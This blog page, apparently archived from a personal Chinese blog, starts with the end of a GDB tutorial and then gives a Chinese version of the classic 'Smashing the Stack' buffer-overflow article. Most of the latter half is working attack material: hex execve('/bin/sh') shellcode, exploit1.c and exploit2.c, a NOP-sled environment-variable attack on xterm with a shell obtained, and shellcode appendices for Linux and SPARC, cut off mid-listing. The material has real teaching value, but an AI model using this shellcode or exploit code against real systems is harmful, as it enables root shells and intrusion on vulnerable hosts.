如果打开了这个选项,那么当显示字符串时,遇到结束符则停止显示。这个选项默认为off。 set print pretty on 如果打开printf pretty这个选项,那么当GDB显示结构体时会比较漂亮。如: $1 = { next = 0x0, flags = { sweet = 1, sour = 1 }, meat = 0x54 "Pork" } set print pretty off 关闭printf pretty这个选项,GDB显示结构体时会如下显示: $1 = {next = 0x0, flags = {sweet = 1, sour = 1}, meat = 0x54 "Pork"} show print pretty 查看GDB是如何显示结构体的。 set print sevenbit-strings 设置字符显示,是否按“/nnn”的格式显示,如果打开,则字符串或字符数据按/nnn显示,如“/065”。 show print sevenbit-strings 查看字符显示开关是否打开。 set print union 设置显示结构体时,是否显式其内的联合体数据。例如有以下数据结构: typedef enum {Tree, Bug} Species; typedef enum {Big_tree, Acorn, Seedling} Tree_forms; typedef enum {Caterpillar, Cocoon, Butterfly} Bug_forms; struct thing { Species it; union { Tree_forms tree; Bug_forms bug; } form; }; struct thing foo = {Tree, {Acorn}}; 当打开这个开关时,执行 p foo 命令后,会如下显示: $1 = {it = Tree, form = {tree = Acorn, bug = Cocoon}} 当关闭这个开关时,执行 p foo 命令后,会如下显示: $1 = {it = Tree, form = {...}} show print union 查看联合体数据的显示方式 set print object 在C++中,如果一个对象指针指向其派生类,如果打开这个选项,GDB会自动按照虚方法调用的规则显示输出,如果关闭这个选项的话,GDB就不管虚函数表了。这个选项默认是off。 show print object 查看对象选项的设置。 set print static-members 这个选项表示,当显示一个C++对象中的内容是,是否显示其中的静态数据成员。默认是on。 show print static-members 查看静态数据成员选项设置。 set print vtbl 当此选项打开时,GDB将用比较规整的格式来显示虚函数表时。其默认是关闭的。 show print vtbl 查看虚函数显示格式的选项。 八、历史记录 当你用GDB的print查看程序运行时的数据时,你每一个print都会被GDB记录下来。GDB会以$1, $2, $3 .....这样的方式为你每一个print命令编上号。于是,你可以使用这个编号访问以前的表达式,如$1。这个功能所带来的好处是,如果你先前输入了一个比较长的表达式,如果你还想查看这个表达式的值,你可以使用历史记录来访问,省去了重复输入。 九、GDB环境变量 你可以在GDB的调试环境中定义自己的变量,用来保存一些调试程序中的运行数据。要定义一个GDB的变量很简单只需。使用GDB的set命令。GDB的环境变量和UNIX一样,也是以$起头。如: set $foo = *object_ptr 使用环境变量时,GDB会在你第一次使用时创建这个变量,而在以后的使用中,则直接对其賦值。环境变量没有类型,你可以给环境变量定义任一的类型。包括结构体和数组。 show convenience 该命令查看当前所设置的所有的环境变量。 这是一个比较强大的功能,环境变量和程序变量的交互使用,将使得程序调试更为灵活便捷。例如: set $i = 0 print bar[$i++]->contents 于是,当你就不必,print bar[0]->contents, print bar[1]->contents地输入命令了。输入这样的命令后,只用敲回车,重复执行上一条语句,环境变量会自动累加,从而完成逐个输出的功能。 十、查看寄存器 要查看寄存器的值,很简单,可以使用如下命令: info registers 查看寄存器的情况。(除了浮点寄存器) info all-registers 查看所有寄存器的情况。(包括浮点寄存器) info registers 查看所指定的寄存器的情况。 寄存器中放置了程序运行时的数据,比如程序当前运行的指令地址(ip),程序的当前堆栈地址(sp)等等。你同样可以使用print命令来访问寄存器的情况,只需要在寄存器名字前加一个$符号就可以了。如:p $eip。 改变程序的执行 ——————— 一旦使用GDB挂上被调试程序,当程序运行起来后,你可以根据自己的调试思路来动态地在GDB中更改当前被调试程序的运行线路或是其变量的值,这个强大的功能能够让你更好的调试你的程序,比如,你可以在程序的一次运行中走遍程序的所有分支。 一、修改变量值 修改被调试程序运行时的变量值,在GDB中很容易实现,使用GDB的print命令即可完成。如: (gdb) print x=4 x=4这个表达式是C/C++的语法,意为把变量x的值修改为4,如果你当前调试的语言是Pascal,那么你可以使用Pascal的语法:x:=4。 在某些时候,很有可能你的变量和GDB中的参数冲突,如: (gdb) whatis width type = double (gdb) p width $4 = 13 (gdb) set width=47 Invalid syntax in expression. 因为,set width是GDB的命令,所以,出现了“Invalid syntax in expression”的设置错误,此时,你可以使用set var命令来告诉GDB,width不是你GDB的参数,而是程序的变量名,如: (gdb) set var width=47 另外,还可能有些情况,GDB并不报告这种错误,所以保险起见,在你改变程序变量取值时,最好都使用set var格式的GDB命令。 二、跳转执行 一般来说,被调试程序会按照程序代码的运行顺序依次执行。GDB提供了乱序执行的功能,也就是说,GDB可以修改程序的执行顺序,可以让程序执行随意跳跃。这个功能可以由GDB的jump命令来完: jump 指定下一条语句的运行点。可以是文件的行号,可以是file:line格式,可以是+num这种偏移量格式。表式着下一条运行语句从哪里开始。 jump 这里的 是代码行的内存地址。 注意,jump命令不会改变当前的程序栈中的内容,所以,当你从一个函数跳到另一个函数时,当函数运行完返回时进行弹栈操作时必然会发生错误,可能结果还是非常奇怪的,甚至于产生程序Core Dump。所以最好是同一个函数中进行跳转。 熟悉汇编的人都知道,程序运行时,有一个寄存器用于保存当前代码所在的内存地址。所以,jump命令也就是改变了这个寄存器中的值。于是,你可以使用“set $pc”来更改跳转执行的地址。如: set $pc = 0x485 三、产生信号量 使用singal命令,可以产生一个信号量给被调试的程序。如:中断信号Ctrl+C。这非常方便于程序的调试,可以在程序运行的任意位置设置断点,并在该断点用GDB产生一个信号量,这种精确地在某处产生信号非常有利程序的调试。 语法是:signal ,UNIX的系统信号量通常从1到15。所以取值也在这个范围。 single命令和shell的kill命令不同,系统的kill命令发信号给被调试程序时,是由GDB截获的,而single命令所发出一信号则是直接发给被调试程序的。 四、强制函数返回 如果你的调试断点在某个函数中,并还有语句没有执行完。你可以使用return命令强制函数忽略还没有执行的语句并返回。 return return 使用return命令取消当前函数的执行,并立即返回,如果指定了,那么该表达式的值会被认作函数的返回值。 五、强制调用函数 call 表达式中可以一是函数,以此达到强制调用函数的目的。并显示函数的返回值,如果函数返回值是void,那么就不显示。 另一个相似的命令也可以完成这一功能——print,print后面可以跟表达式,所以也可以用他来调用函数,print和call的不同是,如果函数返回void,call则不显示,print则显示函数返回值,并把该值存入历史数据中。 在不同语言中使用GDB —————————— GDB支持下列语言:C, C++, Fortran, PASCAL, Java, Chill, assembly, 和 Modula-2。一般说来,GDB会根据你所调试的程序来确定当然的调试语言,比如:发现文件名后缀为“.c”的,GDB会认为是C程序。文件名后缀为“.C, .cc, .cp, .cpp, .cxx, .c++”的,GDB会认为是C++程序。而后缀是“.f, .F”的,GDB会认为是Fortran程序,还有,后缀为如果是“.s, .S”的会认为是汇编语言。 也就是说,GDB会根据你所调试的程序的语言,来设置自己的语言环境,并让GDB的命令跟着语言环境的改变而改变。比如一些GDB命令需要用到表达式或变量时,这些表达式或变量的语法,完全是根据当前的语言环境而改变的。例如C/C++中对指针的语法是*p,而在Modula-2中则是p^。并且,如果你当前的程序是由几种不同语言一同编译成的,那到在调试过程中,GDB也能根据不同的语言自动地切换语言环境。这种跟着语言环境而改变的功能,真是体贴开发人员的一种设计。 下面是几个相关于GDB语言环境的命令: show language 查看当前的语言环境。如果GDB不能识为你所调试的编程语言,那么,C语言被认为是默认的环境。 info frame 查看当前函数的程序语言。 info source 查看当前文件的程序语言。 如果GDB没有检测出当前的程序语言,那么你也可以手动设置当前的程序语言。使用set language命令即可做到。 当set language命令后什么也不跟的话,你可以查看GDB所支持的语言种类: (gdb) set language The currently understood settings are: local or auto Automatic setting based on source file c Use the C language c++ Use the C++ language asm Use the Asm language chill Use the Chill language fortran Use the Fortran language java Use the Java language modula-2 Use the Modula-2 language pascal Use the Pascal language scheme Use the Scheme language 于是你可以在set language后跟上被列出来的程序语言名,来设置当前的语言环境。   16:32 添加评论固定链接引用通告 (0)记录它 固定链接 http://kaober.spaces.live.com/blog/cns!55BE9523CBEFD1DB!158.entry 添加评论 11月13日 Buffer Overflow 机理剖析 Buffer Overflow 机理剖析 使用Buffer Overflow 方法来入侵目的主机是黑客们经常采用的一种手段,本文将 几篇介绍其机理的文章作了一些加工整理, 对它的机理作出了由浅入深的剖析. 本文分为下面几个部分, 朋友们可以按照自己的兴趣选择不同的章节: 关于堆栈的基础知识 Buffer Overflow 的原理 Shell Code 的编写 实际运用中遇到的问题 附录 ---------------------------------------------------------------------- ---------- 1. 关于堆栈的基础知识        一个应用程序在运行时,它在内存中的映像可以分为三个部分: 代码段 ,  数据段和堆栈段(参见下图). 代码段对应与运行文件中的 Text Section ,其中 包括运行代码和只读数据, 这个段在内存中一般被标记为只读 , 任何企图修改这 个段中数据的指令将引发一个 Segmentation Violation 错误. 数据段对应与运 行文件中的 Data Section 和 BSS Section ,其中存放的是各种数据(经过初始化 的和未经初始化的)和静态变量.      下面我们将详细介绍一下堆栈段. |--------| 虚存低端 |        | |  代码段   | |        | |--------| |        | |  数据段   | |        | |--------| |        | |  堆栈段   | |        | |--------| 虚存高端 堆栈是什么?      如果你学过<<数据结构>>这门课的话, 就会知道堆栈是一种计算机中经常用 到的抽象数据类型. 作用于堆栈上的操作主要有两个: Push 和 Pop , 既压入和 弹出. 堆栈的特点是LIFO(Last in , First out), 既最后压入堆栈的对象最先被 弹出堆栈.  堆栈段的作用是什么?      现在大部分程序员都是在用高级语言进行模块化编程, 在这些应用程序中, 不可避免地会出现各种函数调用, 比如调用C 运行库,Win32 API 等等. 这些调用 大部分都被编译器编译为Call语句. 当CPU 在执行这条指令时, 除了将IP变为调 用函数的入口点以外, 还要将调用后的返回地址放入堆栈. 这些函数调用往往还 带有不同数量的入口参数和局部变量, 在这种情况下,编译器往往会生成一些指令 将这些数据也存入堆栈(有些也可通过寄存器传递).  我们将一个函数调用在堆栈中存放的这些数据和返回地址称为一个栈帧(Stack F rame). 栈帧的结构:   下面我们通过一个简单的例子来分析一下栈帧的结构. void proc(int i) {   int local;  local=i; } void main() {  proc(1); } 这段代码经过编译器后编译为:(以PC为例) main:push 1    call  proc    ... proc:push ebp    mov ebp,esp    sub esp,4    mov eax,[ebp+08]    mov [ebp-4],eax    add esp,4    pop ebp    ret 4 下面我们分析一下这段代码. main:push 1    call proc 首先, 将调用要用到的参数1压入堆栈,然后call proc proc:push ebp    mov ebp,esp 我们知道esp指向堆栈的顶端,在函数调用时,各个参数和局部变量在堆栈中的位置 只和esp有关系,如可通过[esp+4]存取参数1. 但随着程序的运行,堆栈中放入了新 的数据,esp也随之变化,这时就不能在通过[esp+4]来存取1了. 因此, 为了便于参 数和变量的存取, 编译器又引入了一个基址寄存器ebp, 首先将ebp的原值存入堆 栈,然后将esp的值赋给ebp,这样以后就可以一直使用[ebp+8]来存取参数1了.    sub esp,4 将esp减4,留出一个int的位置给局部变量 local 使用, local可通过[ebp-4]来存 取    mov eax,[ebp+08]    mov [ebp-4],eax 就是 local=i;    add esp,4    pop ebp    ret 4 首先esp加4,收回局部变量的空间,然后pop ebp, 恢复ebp原值,最后 ret 4,从堆 栈中取得返回地址,将EIP改为这个地址,并且将esp加4,收回参数所占的空间. 不难看出,这个程序在执行proc过程时,栈帧的结构如下:  4    4    4    4 [local] [ebp] [ret地址] [参数1] 内存高端 |    | esp(栈顶)ebp 因此,我们可以总结出一般栈帧的结构: ..[local1][local2]..[localn][ebp][ret地址][参数1][参数2]..[参数n ] |                | esp(栈顶)            ebp 了解了栈帧的结构以后,现在我们可以来看一下 Buffer overflow 的机理了. ---------------------------------------------------------------------- ---------- 2. Buffer Overflow 的机理 我们先举一个例子说明一下什么是 Buffer Overflow : void function(char *str) {   char buffer[16];   strcpy(buffer,str); } void main() {   char large_string[256];   int i;   for( i = 0; i < 255; i++)   large_string[i] = 'A';   function(large_string); } 这段程序中就存在 Buffer Overflow 的问题. 我们可以看到, 传递给function的 字符串长度要比buffer大很多,而function没有经过任何长度校验直接用strcpy将 长字符串拷入buffer. 如果你执行这个程序的话,系统会报告一个 Segmentation Violation 错误.下面我们就来分析一下为什么会这样? 首先我们看一下未执行strcpy时堆栈中的情况:    16   4   4     4 ...[buffer] [ebp] [ret地址] [large_string地址] |      | esp     ebp 当执行strcpy时, 程序将256 Bytes拷入buffer中,但是buffer只能容纳16 Bytes ,那么这时会发生什么情况呢? 因为C语言并不进行边界检查, 所以结果是buffer 后面的250字节的内容也被覆盖掉了,这其中自然也包括ebp, ret地址 ,large_st ring地址.因为此时ret地址变成了0x41414141h ,所以当过程结束返回时,它将返 回到0x41414141h地址处继续执行,但由于这个地址并不在程序实际使用的虚存空 间范围内,所以系统会报Segmentation Violation. 从上面的例子中不难看出,我们可以通过Buffer Overflow来改变在堆栈中存放的 过程返回地址,从而改变整个程序的流程,使它转向任何我们想要它去的地方.这就 为黑客们提供了可乘之机, 最常见的方法是: 在长字符串中嵌入一段代码,并将过 程的返回地址覆盖为这段代码的地址, 这样当过程返回时,程序就转而开始执行这 段我们自编的代码了. 一般来说,这段代码都是执行一个Shell程序(如/bin/sh), 因为这样的话,当我们入侵一个带有Buffer Overflow缺陷且具有suid-root属性的 程序时,我们会获得一个具有root权限的shell,在这个shell中我们可以干任何事 . 因此, 这段代码一般被称为Shell Code. 下面我们就来看一下如何编写Shell Code. ---------------------------------------------------------------------- ---------- 3. Shell Code 的编写 下面是一个创建Shell的C程序shellcode.c: (本文以IntelX86上的Linux为例说明 ) void main() {   char *name[2];   name[0] = "/bin/sh";   name[1] = NULL;   execve(name[0], name, NULL); } 我们先将它编译为执行代码,然后再用gdb来分析一下.(注意编译时要用-static选 项,否则execve的代码将不会放入执行代码,而是作为动态链接在运行时才链入.) ---------------------------------------------------------------------- -------- [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for deta ils. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation , Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 0x8000144 <main+20>: pushl $0x0 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax 0x8000149 <main+25>: pushl %eax 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 0x800014d <main+29>: pushl %eax 0x800014e <main+30>: call 0x80002bc <__execve> 0x8000153 <main+35>: addl $0xc,%esp 0x8000156 <main+38>: movl %ebp,%esp 0x8000158 <main+40>: popl %ebp 0x8000159 <main+41>: ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. ---------------------------------------------------------------------- -------- 下面我们来首先来分析一下main代码中每条语句的作用: 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp 这跟前面的例子一样,也是一段函数的入口处理,保存以前的栈帧指针,更新栈帧指 针,最后为局部变量留出空间.在这里,局部变量为: char *name[2]; 也就是两个字符指针.每个字符指针占用4个字节,所以总共留出了 8 个字节的位 置. 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) 这里, 将字符串"/bin/sh"的地址放入name[0]的内存单元中, 也就是相当于 :  name[0] = "/bin/sh"; 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 将NULL放入name[1]的内存单元中, 也就是相当于: name[1] = NULL; 对execve()的调用从下面开始: 0x8000144 <main+20>: pushl $0x0 开始将参数以逆序压入堆栈, 第一个是NULL. 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax 0x8000149 <main+25>: pushl %eax 将name[]的起始地址压入堆栈 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 0x800014d <main+29>: pushl %eax 将字符串"/bin/sh"的地址压入堆栈 0x800014e <main+30>: call 0x80002bc <__execve> 调用execve() . call 指令首先将 EIP 压入堆栈 ---------------------------------------------------------------------- -------------- 现在我们再来看一下execve()的代码. 首先要注意的是, 不同的操作系统,不同的 CPU,他们产生系统调用的方法也不尽相同. 有些使用软中断,有些使用远程调用. 从参数传递的角度来说,有些使用寄存器,有些使用堆栈. 我们的这个例子是在基于Intel X86的Linux上运行的.所以我们首先应该知道Li nux中,系统调用以软中断的方式产生( INT 80h),参数是通过寄存器传递给系统 的. 0x80002bc <__execve>:  pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 同样的入口处理 0x80002c0 <__execve+4>: movl $0xb,%eax 将0xb(11)赋给eax , 这是execve()在系统中的索引号. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 将字符串"/bin/sh"的地址赋给ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 将name[]的地址赋给ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 将NULL的地址赋给edx 0x80002ce <__execve+18>: int $0x80 产生系统调用,进入核心态运行. ---------------------------------------------------------------------- -------------- 看了上面的代码,现在我们可以把它精简为下面的汇编语言程序: leal string,string_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int   $0x80 (我对Linux的汇编语言格式了解不多,所以这几句使用的是DOS汇编语言的格式) string db "/bin/sh",0 string_addr dd 0 null_addr  dd 0 ---------------------------------------------------------------------- --------------- 但是这段代码中还存在着一个问题 ,就是我们在编写ShellCode时并不知道这段程 序执行时在内存中所处的位置,所以像: movl string_addr,%ebx 这种需要将绝对地址编码进机器语言的指令根本就没法使用. 解决这个问题的一个办法就是使用一条额外的JMP和CALL指令. 因为这两条指令编 码使用的都是 相对于IP的偏移地址而不是绝对地址, 所以我们可以在ShellCode 的最开始加入一条JMP指令, 在string前加入一条CALL指令. 只要我们计算好程序 编码的字节长度,就可以使JMP指令跳转到CALL指令处执行,而CALL指令则指向JMP 的下一条指令,因为在执行CALL指令时,CPU会将返回地址(在这里就是string的地 址)压入堆栈,所以这样我们就可以在运行时获得string的绝对地址.通过这个地址 加偏移的间接寻址方法,我们还可以很方便地存取string_addr和null_addr. ---------------------------------------------------------------------- -------- 经过上面的修改,我们的ShellCode变成了下面的样子: jmp  0x20 popl esi movb $0x0,0x7(%esi) movl %esi,0x8(%esi) movl $0x0,0xC(%esi) movl $0xb,%eax movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xC(%esi),%edx int  $0x80 call -0x25 string db "/bin/sh",0  string_addr dd 0 null_addr  dd 0 # 2 bytes,跳转到CALL # 1 byte, 弹出string地址 # 4 bytes,将string变为以'/0'结尾的字符串  # 7 bytes  # 5 bytes # 2 bytes # 3 bytes # 3 bytes # 2 bytes # 5 bytes,跳转到popl %esi   ---------------------------------------------------------------------- -------------- 我们知道C语言中的字符串以'/0'结尾,strcpy等函数遇到'/0'就结束运行.因此为 了保证我们的ShellCode能被完整地拷贝到Buffer中,ShellCode中一定不能含有' /0'. 下面我们就对它作最后一次改进,去掉其中的'/0': 原指令:          替换为: -------------------------------------------------------- movb $0x0,0x7(%esi)    xorl %eax,%eax movl $0x0,0xc(%esi)    movb %eax,0x7(%esi)                movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax       movb $0xb,%al -------------------------------------------------------- OK! 现在我们可以试验一下这段ShellCode了. 首先我们把它封装为C语言的形式 . ---------------------------------------------------------------------- -------- void main() { __asm__(" jmp 0x18       # 2 bytes popl %esi      # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax    # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al    # 2 bytes movl %esi,%ebx    # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80      # 2 bytes call -0x2d      # 5 bytes .string /"/bin/sh/" # 8 bytes "); } ---------------------------------------------------------------------- -------- 经过编译后,用gdb得到这段汇编语言的机器代码为: /xeb/x18/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b /x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/xe8/xec/xff/xff/xff/bin/sh 现在我们可以写我们的试验程序了: ---------------------------------------------------------------------- -------- exploit1.c: char shellcode[] = "/xeb/x18/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b" "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/xe8/xec/xff/xff/xff/bin/sh"; char large_string[128]; void main() {  char buffer[96];  int  i;  long *long_ptr = (long *) large_string;  for(i=0;i<32;i++) *(long_ptr+i)=(int)buffer;  for(i=0;i<strlen(shellcode);i++) large_string[i]=shellcode[i];  strcpy(buffer,large_string); } ---------------------------------------------------------------------- --------------- 在上面的程序中,我们首先用 buffer 的地址填充large_string[]并将ShellCode 放在large_string[]的起始位置,从而保证在BufferOverflow时,返回地址被覆盖 为Buffer的地址(也就是ShellCode的入口地址).然后用strcpy将large_string的 内容拷入buffer,因为buffer只有96个字节的空间,所以这时就会发生Buffer Ove rflow. 返回地址被覆盖为ShellCode的入口地址. 当程序执行到main函数的结尾 时,它会自动跳转到我们的ShellCode,从而创建出一个新的Shell. 现在我们编译运行一下这个程序: ---------------------------------------------------------------------- -------- [aleph1]$ gcc -o exploit1 exploit1.c [aleph1]$ ./exploit1 $ exit exit [aleph1]$ ---------------------------------------------------------------------- -------- OK! 可以看到,当执行test时,我们的ShellCode正确地执行并生成了一个新的She ll,这正是我们所希望看到的结果. 但是,这个例子还仅仅是一个试验,下面我们来看一看在实际环境中如何使我们的 ShellCode发挥作用. ---------------------------------------------------------------------- ---------- 4. 实际运用中遇到的问题  在上面的例子中,我们成功地攻击了一个我们自己写的有Buffer Overflow缺陷 的程序.因为是我们自己的程序,所以在运行时我们很方便地就可以确定出ShellC ode的入口绝对地址(也就是Buffer地址),剩下的工作也就仅仅是用这个地址来填 充large_string了.  但是当我们试图攻击一个其他程序时,问题就出现了.我们怎么知道运行时Shel l Code所处的绝对地址呢? 不知道这个地址, 我们用什么来填充large_string,用 什么来覆盖返回地址呢? 不知道用什么来覆盖返回地址,ShellCode如何能得到控 制权呢? 而如果得不到控制权,我们也就无法成功地攻击这个程序,那么我们上面 所做的所有工作都白费了.由此可以看出,这个问题是我们要解决的一个关键问题 .  幸好对于所有程序来说堆栈的起始地址是一样的,而且在拷贝ShellCode之前,堆 栈中已经存在的栈帧一般来说并不多,长度大致在一两百到几千字节的范围内.因 此,我们可以通过猜测加试验的办法最终找到ShellCode的入口地址.  下面就是一个打印堆栈起始地址的程序: sp.c ---------------------------------------------------------------------- -------- unsigned long get_sp(void) {  __asm__("movl %esp,%eax"); } void main() {  printf("0x%x/n", get_sp()); } ---------------------------------------------------------------------- -------- ---------------------------------------------------------------------- -------- [aleph1]$ ./sp 0x8000470 [aleph1]$ ---------------------------------------------------------------------- -------- 上面所说的方法虽然能解决这个问题, 但只要你稍微想一想就知道这个方法并不 实用. 因为这个方法要求你在堆栈段中准确地猜中ShellCode的入口,偏差一个字 节都不行.如果你运气好的话, 可能只要猜几十次就猜中了,但一般情况是,你必须 要猜几百次到几千次才能猜中.而在你能够猜中前,我想大部分人都已经放弃了.所 以我们需要一种效率更高的方法来尽量减少我们的试验次数. 一个最简单的方法就是将ShellCode放在large_string的中部,而前面则一律填充 为NOP指令(NOP指令是一个任何事都不做的指令,主要用于延时操作,几乎所有CPU 都支持NOP指令).这样,只要我们猜的地址落在这个NOP指令串中,那么程序就会一 直执行直至执行到ShellCode(如下图).这样一来,我们猜中的概率就大多了(以前 必须要猜中ShellCode的入口地址,现在只要猜中NOP指令串中的任何一个地址即可 ). 低端内存 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 高端内存 栈顶   89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 栈底      buffer        ebp  ret  a  b   c  <------[NNNNNNNNNNNSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]         ^           |         |___________| 现在我们就可以根据这个方法编写我们的攻击程序了. exploit2.c ---------------------------------------------------------------------- -------- #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "/xeb/x18/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b" "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/xe8/xec/xff/xff/xff/bin/sh"; unsigned long get_sp(void) {     __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) {     char *buff, *ptr;     long *addr_ptr, addr;     int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;     int i;     if (argc > 1) bsize = atoi(argv[1]);     if (argc > 2) offset= atoi(argv[2]);     if (!(buff = malloc(bsize)))     {         printf("Can't allocate memory./n");         exit(0);     }     addr=get_sp()-offset;     printf("Using address: 0x%x/n", addr);     ptr=buff;     addr_ptr=(long *)ptr;     for(i=0;i<bsize;i+=4) *(addr_ptr++)=addr; // 填充猜测的入口地址 for(i=0;i<bsize/2;i++) buff[i]=NOP; //前半部填充NOP ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i=0;i<strlen(shellcode);i++) *(ptr++)=shellcode[i]; //中间填 充Shell Code buff[bsize-1]='/0'; memcpy(buff,"EGG=",4); //将生成的字符串保存再环境变量EGG中. putenv(buff); system("/bin/bash"); } ---------------------------------------------------------------------- -------- 好,现在我们来试验一下这个程序的效能如何.这次的攻击目标是xterm(所有链接 了Xt Library的程序都有此缺陷). 首先确保X Server在运行并且允许本地连接. ---------------------------------------------------------------------- -------- [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit2 1124 Using address: 0xbffffdb4 [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG Warning: some arguments in previous message were lost bash$ ---------------------------------------------------------------------- -------- OK! 看来我们的程序确实很好用.如果xterm有suid-root属性,那么这个shell就是 一个具有root权限的Shell了. ---------------------------------------------------------------------- ---------- Appendix A - 若干操作系统/平台上的 Shell Code i386/Linux ---------------------------------------------------------------------- -------- jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string /"/bin/sh/" ---------------------------------------------------------------------- -------- SPARC/Solaris ---------------------------------------------------------------------- -------- sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 ta 8 xor %o7, %o7, %o0 mov 1, %g1 ta 8 ---------------------------------------------------------------------- -------- SPARC/SunOS ---------------------------------------------------------------------- -------- sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 mov -0x1, %l5 ta %l5 + 1 xor %o7, %o7, %o0 mov 1, %g1 ta %l5 + 1 ---------------------------------------------------------------------- ---------- Appendix B - 通用 Buffer Overflow 攻击程序 shellcode.h ---------------------------------------------------------------------- -------- #if defined(__i386__) && defined(__linux__) #define NOP_SIZE 1 char nop[] = "/x90"; char shellcode[] = "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b" "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd" "/x80/xe8/xdc/xff/xff/xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) #define NOP_SIZE 4 char nop[]="/xac/x15/xa1/x6e"; char shellcode[] = "/x2d/x0b/xd8/x9a/xac/x15/xa1/x6e/x2f/x0b/xdc/xda/x90/x0b/x80/x0e" "/x92/x03/xa0/x08/x94/x1a/x80/x0a/x9c/x03/xa0/x10/xec/x3b/xbf/xf0" "/xdc/x23/xbf/xf8/xc0/x23/xbf/xfc/x82/x10/x20/x3b/x91/xd0/x20/x08" "/x90/x1b/xc0/x0f/x82/x10/x20/x01/x91/xd0/x20/x08"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #elif defined(__sparc__) && defined(__sun__) #define NOP_SIZE 4 char nop[]="/xac/x15/xa1/x6e"; char shellcode[] = "/x2d/x0b/xd8/x9a/xac/x15/xa1/x6e/x2f/x0b/xdc/xda/x90/x0b/x80/x0e" 